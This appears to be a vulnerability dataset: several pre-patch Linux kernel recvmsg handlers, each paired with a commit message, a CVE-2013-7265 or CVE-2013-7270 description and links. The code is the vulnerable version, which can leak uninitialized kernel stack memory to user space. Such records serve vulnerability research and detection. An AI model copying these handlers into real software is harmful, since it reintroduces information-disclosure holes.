inet: prevent leakage of uninitialized memory to user in recv syscalls Only update *addr_len when we actually fill in sockaddr, otherwise we can return uninitialized memory from the stack to the caller in the recvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL) checks because we only get called with a valid addr_len pointer either from sock_common_recvmsg or inet_recvmsg. If a blocking read waits on a socket which is concurrently shut down we now return zero and set msg_msgnamelen to 0. Reported-by: mpb <mpb.mail@gmail.com> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

int ping_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *isk = inet_sk(sk); int family = sk->sk_family; struct sockaddr_in *sin; struct sockaddr_in6 *sin6; struct sk_buff *skb; int copied, err; pr_debug("ping_recvmsg(sk=%p,sk->num=%u)\n", isk, isk->inet_num); err = -EOPNOTSUPP; if (flags & MSG_OOB) goto out; if (addr_len) { if (family == AF_INET) *addr_len = sizeof(*sin); else if (family == AF_INET6 && addr_len) *addr_len = sizeof(*sin6); } if (flags & MSG_ERRQUEUE) { if (family == AF_INET) { return ip_recv_error(sk, msg, len); #if IS_ENABLED(CONFIG_IPV6) } else if (family == AF_INET6) { return pingv6_ops.ipv6_recv_error(sk, msg, len); #endif } } skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; copied = skb->len; if (copied > len) { msg->msg_flags |= MSG_TRUNC; copied = len; } /* Don't bother checking the checksum */ err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (err) goto done; sock_recv_timestamp(msg, sk, skb); /* Copy the address and add cmsg data. */ if (family == AF_INET) { sin = (struct sockaddr_in *) msg->msg_name; sin->sin_family = AF_INET; sin->sin_port = 0 /* skb->h.uh->source */; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(sin->sin_zero, 0, sizeof(sin->sin_zero)); if (isk->cmsg_flags) ip_cmsg_recv(msg, skb); #if IS_ENABLED(CONFIG_IPV6) } else if (family == AF_INET6) { struct ipv6_pinfo *np = inet6_sk(sk); struct ipv6hdr *ip6 = ipv6_hdr(skb); sin6 = (struct sockaddr_in6 *) msg->msg_name; sin6->sin6_family = AF_INET6; sin6->sin6_port = 0; sin6->sin6_addr = ip6->saddr; sin6->sin6_flowinfo = 0; if (np->sndflow) sin6->sin6_flowinfo = ip6_flowinfo(ip6); sin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr, IP6CB(skb)->iif); if (inet6_sk(sk)->rxopt.all) pingv6_ops.ip6_datagram_recv_ctl(sk, msg, skb); #endif } else { BUG(); } err = copied; done: skb_free_datagram(sk, skb); out: pr_debug("ping_recvmsg -> %d\n", err); return err; }

ping.c

CVE-2013-7265

The pn_recvmsg function in net/phonet/datagram.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel stack memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7265

linux

bceaa90240b6019ed73b49965eac7d167610be69

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/bceaa90240b6019ed73b49965eac7d167610be69

inet: prevent leakage of uninitialized memory to user in recv syscalls Only update *addr_len when we actually fill in sockaddr, otherwise we can return uninitialized memory from the stack to the caller in the recvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL) checks because we only get called with a valid addr_len pointer either from sock_common_recvmsg or inet_recvmsg. If a blocking read waits on a socket which is concurrently shut down we now return zero and set msg_msgnamelen to 0. Reported-by: mpb <mpb.mail@gmail.com> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int l2tp_ip_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *inet = inet_sk(sk); size_t copied = 0; int err = -EOPNOTSUPP; struct sockaddr_in *sin = (struct sockaddr_in *)msg->msg_name; struct sk_buff *skb; if (flags & MSG_OOB) goto out; if (addr_len) *addr_len = sizeof(*sin); skb = skb_recv_datagram(sk, flags, noblock, &err); if (!skb) goto out; copied = skb->len; if (len < copied) { msg->msg_flags |= MSG_TRUNC; copied = len; } err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (err) goto done; sock_recv_timestamp(msg, sk, skb); /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; sin->sin_port = 0; memset(&sin->sin_zero, 0, sizeof(sin->sin_zero)); } if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); if (flags & MSG_TRUNC) copied = skb->len; done: skb_free_datagram(sk, skb); out: return err ? err : copied; }

l2tp_ip.c

CVE-2013-7265

The pn_recvmsg function in net/phonet/datagram.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel stack memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7265

linux

bceaa90240b6019ed73b49965eac7d167610be69

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/bceaa90240b6019ed73b49965eac7d167610be69

inet: prevent leakage of uninitialized memory to user in recv syscalls Only update *addr_len when we actually fill in sockaddr, otherwise we can return uninitialized memory from the stack to the caller in the recvfrom, recvmmsg and recvmsg syscalls. Drop the the (addr_len == NULL) checks because we only get called with a valid addr_len pointer either from sock_common_recvmsg or inet_recvmsg. If a blocking read waits on a socket which is concurrently shut down we now return zero and set msg_msgnamelen to 0. Reported-by: mpb <mpb.mail@gmail.com> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int pn_recvmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct sk_buff *skb = NULL; struct sockaddr_pn sa; int rval = -EOPNOTSUPP; int copylen; if (flags & ~(MSG_PEEK|MSG_TRUNC|MSG_DONTWAIT|MSG_NOSIGNAL| MSG_CMSG_COMPAT)) goto out_nofree; if (addr_len) *addr_len = sizeof(sa); skb = skb_recv_datagram(sk, flags, noblock, &rval); if (skb == NULL) goto out_nofree; pn_skb_get_src_sockaddr(skb, &sa); copylen = skb->len; if (len < copylen) { msg->msg_flags |= MSG_TRUNC; copylen = len; } rval = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copylen); if (rval) { rval = -EFAULT; goto out; } rval = (flags & MSG_TRUNC) ? skb->len : copylen; if (msg->msg_name != NULL) memcpy(msg->msg_name, &sa, sizeof(struct sockaddr_pn)); out: skb_free_datagram(sk, skb); out_nofree: return rval; }

datagram.c

CVE-2013-7265

The pn_recvmsg function in net/phonet/datagram.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel stack memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7265

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

mISDN_sock_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len, int flags) { struct sk_buff *skb; struct sock *sk = sock->sk; struct sockaddr_mISDN *maddr; int copied, err; if (*debug & DEBUG_SOCKET) printk(KERN_DEBUG "%s: len %d, flags %x ch.nr %d, proto %x\n", __func__, (int)len, flags, _pms(sk)->ch.nr, sk->sk_protocol); if (flags & (MSG_OOB)) return -EOPNOTSUPP; if (sk->sk_state == MISDN_CLOSED) return 0; skb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err); if (!skb) return err; if (msg->msg_namelen >= sizeof(struct sockaddr_mISDN)) { msg->msg_namelen = sizeof(struct sockaddr_mISDN); maddr = (struct sockaddr_mISDN *)msg->msg_name; maddr->family = AF_ISDN; maddr->dev = _pms(sk)->dev->id; if ((sk->sk_protocol == ISDN_P_LAPD_TE) || (sk->sk_protocol == ISDN_P_LAPD_NT)) { maddr->channel = (mISDN_HEAD_ID(skb) >> 16) & 0xff; maddr->tei = (mISDN_HEAD_ID(skb) >> 8) & 0xff; maddr->sapi = mISDN_HEAD_ID(skb) & 0xff; } else { maddr->channel = _pms(sk)->ch.nr; maddr->sapi = _pms(sk)->ch.addr & 0xFF; maddr->tei = (_pms(sk)->ch.addr >> 8) & 0xFF; } } else { if (msg->msg_namelen) printk(KERN_WARNING "%s: too small namelen %d\n", __func__, msg->msg_namelen); msg->msg_namelen = 0; } copied = skb->len + MISDN_HEADER_LEN; if (len < copied) { if (flags & MSG_PEEK) atomic_dec(&skb->users); else skb_queue_head(&sk->sk_receive_queue, skb); return -ENOSPC; } memcpy(skb_push(skb, MISDN_HEADER_LEN), mISDN_HEAD_P(skb), MISDN_HEADER_LEN); err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); mISDN_sock_cmsg(sk, msg, skb); skb_free_datagram(sk, skb); return err ? : copied; }

socket.c

CVE-2013-7270

The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int atalk_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct sockaddr_at *sat = (struct sockaddr_at *)msg->msg_name; struct ddpehdr *ddp; int copied = 0; int offset = 0; int err = 0; struct sk_buff *skb; skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &err); lock_sock(sk); if (!skb) goto out; /* FIXME: use skb->cb to be able to use shared skbs */ ddp = ddp_hdr(skb); copied = ntohs(ddp->deh_len_hops) & 1023; if (sk->sk_type != SOCK_RAW) { offset = sizeof(*ddp); copied -= offset; } if (copied > size) { copied = size; msg->msg_flags |= MSG_TRUNC; } err = skb_copy_datagram_iovec(skb, offset, msg->msg_iov, copied); if (!err) { if (sat) { sat->sat_family = AF_APPLETALK; sat->sat_port = ddp->deh_sport; sat->sat_addr.s_node = ddp->deh_snode; sat->sat_addr.s_net = ddp->deh_snet; } msg->msg_namelen = sizeof(*sat); } skb_free_datagram(sk, skb); /* Free the datagram. */ out: release_sock(sk); return err ? : copied; }

ddp.c

CVE-2013-7270

The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int ipx_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct ipx_sock *ipxs = ipx_sk(sk); struct sockaddr_ipx *sipx = (struct sockaddr_ipx *)msg->msg_name; struct ipxhdr *ipx = NULL; struct sk_buff *skb; int copied, rc; lock_sock(sk); /* put the autobinding in */ if (!ipxs->port) { struct sockaddr_ipx uaddr; uaddr.sipx_port = 0; uaddr.sipx_network = 0; #ifdef CONFIG_IPX_INTERN rc = -ENETDOWN; if (!ipxs->intrfc) goto out; /* Someone zonked the iface */ memcpy(uaddr.sipx_node, ipxs->intrfc->if_node, IPX_NODE_LEN); #endif /* CONFIG_IPX_INTERN */ rc = __ipx_bind(sock, (struct sockaddr *)&uaddr, sizeof(struct sockaddr_ipx)); if (rc) goto out; } rc = -ENOTCONN; if (sock_flag(sk, SOCK_ZAPPED)) goto out; skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &rc); if (!skb) goto out; ipx = ipx_hdr(skb); copied = ntohs(ipx->ipx_pktsize) - sizeof(struct ipxhdr); if (copied > size) { copied = size; msg->msg_flags |= MSG_TRUNC; } rc = skb_copy_datagram_iovec(skb, sizeof(struct ipxhdr), msg->msg_iov, copied); if (rc) goto out_free; if (skb->tstamp.tv64) sk->sk_stamp = skb->tstamp; msg->msg_namelen = sizeof(*sipx); if (sipx) { sipx->sipx_family = AF_IPX; sipx->sipx_port = ipx->ipx_source.sock; memcpy(sipx->sipx_node, ipx->ipx_source.node, IPX_NODE_LEN); sipx->sipx_network = IPX_SKB_CB(skb)->ipx_source_net; sipx->sipx_type = ipx->ipx_type; sipx->sipx_zero = 0; } rc = copied; out_free: skb_free_datagram(sk, skb); out: release_sock(sk); return rc; }

af_ipx.c

CVE-2013-7270

The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int nr_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct sockaddr_ax25 *sax = (struct sockaddr_ax25 *)msg->msg_name; size_t copied; struct sk_buff *skb; int er; /* * This works for seqpacket too. The receiver has ordered the queue for * us! We do one quick check first though */ lock_sock(sk); if (sk->sk_state != TCP_ESTABLISHED) { release_sock(sk); return -ENOTCONN; } /* Now we can treat all alike */ if ((skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &er)) == NULL) { release_sock(sk); return er; } skb_reset_transport_header(skb); copied = skb->len; if (copied > size) { copied = size; msg->msg_flags |= MSG_TRUNC; } er = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (er < 0) { skb_free_datagram(sk, skb); release_sock(sk); return er; } if (sax != NULL) { memset(sax, 0, sizeof(*sax)); sax->sax25_family = AF_NETROM; skb_copy_from_linear_data_offset(skb, 7, sax->sax25_call.ax25_call, AX25_ADDR_LEN); } msg->msg_namelen = sizeof(*sax); skb_free_datagram(sk, skb); release_sock(sk); return copied; }

af_netrom.c

CVE-2013-7270

The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int packet_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t len, int flags) { struct sock *sk = sock->sk; struct sk_buff *skb; int copied, err; struct sockaddr_ll *sll; int vnet_hdr_len = 0; err = -EINVAL; if (flags & ~(MSG_PEEK|MSG_DONTWAIT|MSG_TRUNC|MSG_CMSG_COMPAT|MSG_ERRQUEUE)) goto out; #if 0 /* What error should we return now? EUNATTACH? */ if (pkt_sk(sk)->ifindex < 0) return -ENODEV; #endif if (flags & MSG_ERRQUEUE) { err = sock_recv_errqueue(sk, msg, len, SOL_PACKET, PACKET_TX_TIMESTAMP); goto out; } /* * Call the generic datagram receiver. This handles all sorts * of horrible races and re-entrancy so we can forget about it * in the protocol layers. * * Now it will return ENETDOWN, if device have just gone down, * but then it will block. */ skb = skb_recv_datagram(sk, flags, flags & MSG_DONTWAIT, &err); /* * An error occurred so return it. Because skb_recv_datagram() * handles the blocking we don't see and worry about blocking * retries. */ if (skb == NULL) goto out; if (pkt_sk(sk)->has_vnet_hdr) { struct virtio_net_hdr vnet_hdr = { 0 }; err = -EINVAL; vnet_hdr_len = sizeof(vnet_hdr); if (len < vnet_hdr_len) goto out_free; len -= vnet_hdr_len; if (skb_is_gso(skb)) { struct skb_shared_info *sinfo = skb_shinfo(skb); /* This is a hint as to how much should be linear. */ vnet_hdr.hdr_len = skb_headlen(skb); vnet_hdr.gso_size = sinfo->gso_size; if (sinfo->gso_type & SKB_GSO_TCPV4) vnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_TCPV4; else if (sinfo->gso_type & SKB_GSO_TCPV6) vnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_TCPV6; else if (sinfo->gso_type & SKB_GSO_UDP) vnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_UDP; else if (sinfo->gso_type & SKB_GSO_FCOE) goto out_free; else BUG(); if (sinfo->gso_type & SKB_GSO_TCP_ECN) vnet_hdr.gso_type |= VIRTIO_NET_HDR_GSO_ECN; } else vnet_hdr.gso_type = VIRTIO_NET_HDR_GSO_NONE; if (skb->ip_summed == CHECKSUM_PARTIAL) { vnet_hdr.flags = VIRTIO_NET_HDR_F_NEEDS_CSUM; vnet_hdr.csum_start = skb_checksum_start_offset(skb); vnet_hdr.csum_offset = skb->csum_offset; } else if (skb->ip_summed == CHECKSUM_UNNECESSARY) { vnet_hdr.flags = VIRTIO_NET_HDR_F_DATA_VALID; } /* else everything is zero */ err = memcpy_toiovec(msg->msg_iov, (void *)&vnet_hdr, vnet_hdr_len); if (err < 0) goto out_free; } /* * If the address length field is there to be filled in, we fill * it in now. */ sll = &PACKET_SKB_CB(skb)->sa.ll; if (sock->type == SOCK_PACKET) msg->msg_namelen = sizeof(struct sockaddr_pkt); else msg->msg_namelen = sll->sll_halen + offsetof(struct sockaddr_ll, sll_addr); /* * You lose any data beyond the buffer you gave. If it worries a * user program they can ask the device for its MTU anyway. */ copied = skb->len; if (copied > len) { copied = len; msg->msg_flags |= MSG_TRUNC; } err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (err) goto out_free; sock_recv_ts_and_drops(msg, sk, skb); if (msg->msg_name) memcpy(msg->msg_name, &PACKET_SKB_CB(skb)->sa, msg->msg_namelen); if (pkt_sk(sk)->auxdata) { struct tpacket_auxdata aux; aux.tp_status = TP_STATUS_USER; if (skb->ip_summed == CHECKSUM_PARTIAL) aux.tp_status |= TP_STATUS_CSUMNOTREADY; aux.tp_len = PACKET_SKB_CB(skb)->origlen; aux.tp_snaplen = skb->len; aux.tp_mac = 0; aux.tp_net = skb_network_offset(skb); if (vlan_tx_tag_present(skb)) { aux.tp_vlan_tci = vlan_tx_tag_get(skb); aux.tp_status |= TP_STATUS_VLAN_VALID; } else { aux.tp_vlan_tci = 0; } aux.tp_padding = 0; put_cmsg(msg, SOL_PACKET, PACKET_AUXDATA, sizeof(aux), &aux); } /* * Free or return the buffer as appropriate. Again this * hides all the races and re-entrancy issues from us. */ err = vnet_hdr_len + ((flags&MSG_TRUNC) ? skb->len : copied); out_free: skb_free_datagram(sk, skb); out: return err; }

af_packet.c

CVE-2013-7270

The packet_recvmsg function in net/packet/af_packet.c in the Linux kernel before 3.12.4 updates a certain length value before ensuring that an associated data structure has been initialized, which allows local users to obtain sensitive information from kernel memory via a (1) recvfrom, (2) recvmmsg, or (3) recvmsg system call.

https://nvd.nist.gov/vuln/detail/CVE-2013-7270

linux

f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3d3342602f8bcbf37d7c46641cb9bca7618eb1c

net: rework recvmsg handler msg_name and msg_namelen logic This patch now always passes msg->msg_namelen as 0. recvmsg handlers must set msg_namelen to the proper size <= sizeof(struct sockaddr_storage) to return msg_name to the user. This prevents numerous uninitialized memory leaks we had in the recvmsg handlers and makes it harder for new code to accidentally leak uninitialized memory. Optimize for the case recvfrom is called with NULL as address. We don't need to copy the address at all, so set it to NULL before invoking the recvmsg handler. We can do so, because all the recvmsg handlers must cope with the case a plain read() is called on them. read() also sets msg_name to NULL. Also document these changes in include/linux/net.h as suggested by David Miller. Changes since RFC: Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address. It also more naturally reflects the logic by the callers of verify_iovec. With this change in place I could remove " if (!uaddr || msg_sys->msg_namelen == 0) msg->msg_name = NULL ". This change does not alter the user visible error logic as we ignore msg_namelen as long as msg_name is NULL. Also remove two unnecessary curly brackets in ___sys_recvmsg and change comments to netdev style. Cc: David Miller <davem@davemloft.net> Suggested-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org> Signed-off-by: David S. Miller <davem@davemloft.net>

static int x25_recvmsg(struct kiocb *iocb, struct socket *sock, struct msghdr *msg, size_t size, int flags) { struct sock *sk = sock->sk; struct x25_sock *x25 = x25_sk(sk); struct sockaddr_x25 *sx25 = (struct sockaddr_x25 *)msg->msg_name; size_t copied; int qbit, header_len; struct sk_buff *skb; unsigned char *asmptr; int rc = -ENOTCONN; lock_sock(sk); if (x25->neighbour == NULL) goto out; header_len = x25->neighbour->extended ? X25_EXT_MIN_LEN : X25_STD_MIN_LEN; /* * This works for seqpacket too. The receiver has ordered the queue for * us! We do one quick check first though */ if (sk->sk_state != TCP_ESTABLISHED) goto out; if (flags & MSG_OOB) { rc = -EINVAL; if (sock_flag(sk, SOCK_URGINLINE) || !skb_peek(&x25->interrupt_in_queue)) goto out; skb = skb_dequeue(&x25->interrupt_in_queue); if (!pskb_may_pull(skb, X25_STD_MIN_LEN)) goto out_free_dgram; skb_pull(skb, X25_STD_MIN_LEN); /* * No Q bit information on Interrupt data. */ if (test_bit(X25_Q_BIT_FLAG, &x25->flags)) { asmptr = skb_push(skb, 1); *asmptr = 0x00; } msg->msg_flags |= MSG_OOB; } else { /* Now we can treat all alike */ release_sock(sk); skb = skb_recv_datagram(sk, flags & ~MSG_DONTWAIT, flags & MSG_DONTWAIT, &rc); lock_sock(sk); if (!skb) goto out; if (!pskb_may_pull(skb, header_len)) goto out_free_dgram; qbit = (skb->data[0] & X25_Q_BIT) == X25_Q_BIT; skb_pull(skb, header_len); if (test_bit(X25_Q_BIT_FLAG, &x25->flags)) { asmptr = skb_push(skb, 1); *asmptr = qbit; } } skb_reset_transport_header(skb); copied = skb->len; if (copied > size) { copied = size; msg->msg_flags |= MSG_TRUNC; } /* Currently, each datagram always contains a complete record */ msg->msg_flags |= MSG_EOR; rc = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied); if (rc) goto out_free_dgram; if (sx25) { sx25->sx25_family = AF_X25; sx25->sx25_addr = x25->dest_addr; } msg->msg_namelen = sizeof(struct sockaddr_x25); x25_check_rbuf(sk); rc = copied; out_free_dgram: skb_free_datagram(sk, skb); out: release_sock(sk); return rc; }

af_x25.c

CVE-2013-7270

